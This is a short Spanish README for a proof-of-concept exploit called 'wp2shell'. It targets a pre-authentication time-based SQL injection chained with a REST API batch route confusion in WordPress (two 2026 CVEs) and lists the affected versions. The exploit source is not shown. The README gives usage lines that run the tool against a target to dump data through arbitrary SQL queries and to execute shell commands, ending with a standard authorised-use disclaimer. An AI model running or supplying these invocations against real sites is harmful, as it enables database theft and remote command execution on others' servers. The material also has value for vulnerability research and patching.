wp2shell PoC

El primer PoC de la inyección SQL basada en tiempos pre-autenticación para la cadena de confusión de rutas por lotes de la API REST de WordPress (CVE-2026-63030 + CVE-2026-60137)

Se logró la ejecución de comandos, sin simplemente intentar descifrar la contraseña del administrador.

Afectado: WordPress 6.9.0–6.9.4 y 7.0.0–7.0.1. Corregido en 6.9.5 y 7.0.2.

python3 poc.py https://target.example
python3 poc.py https://target.example 'SELECT DATABASE()'
python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id"

Investigación: Searchlight Cyber · Aikido · Aikido Intel · WordPress

Aviso legal: Esta prueba de concepto se proporciona únicamente con fines educativos autorizados, de investigación en seguridad y de respuesta a incidentes; es decir, úsala solo en sistemas que poseas o para los que tengas permiso explícito de prueba.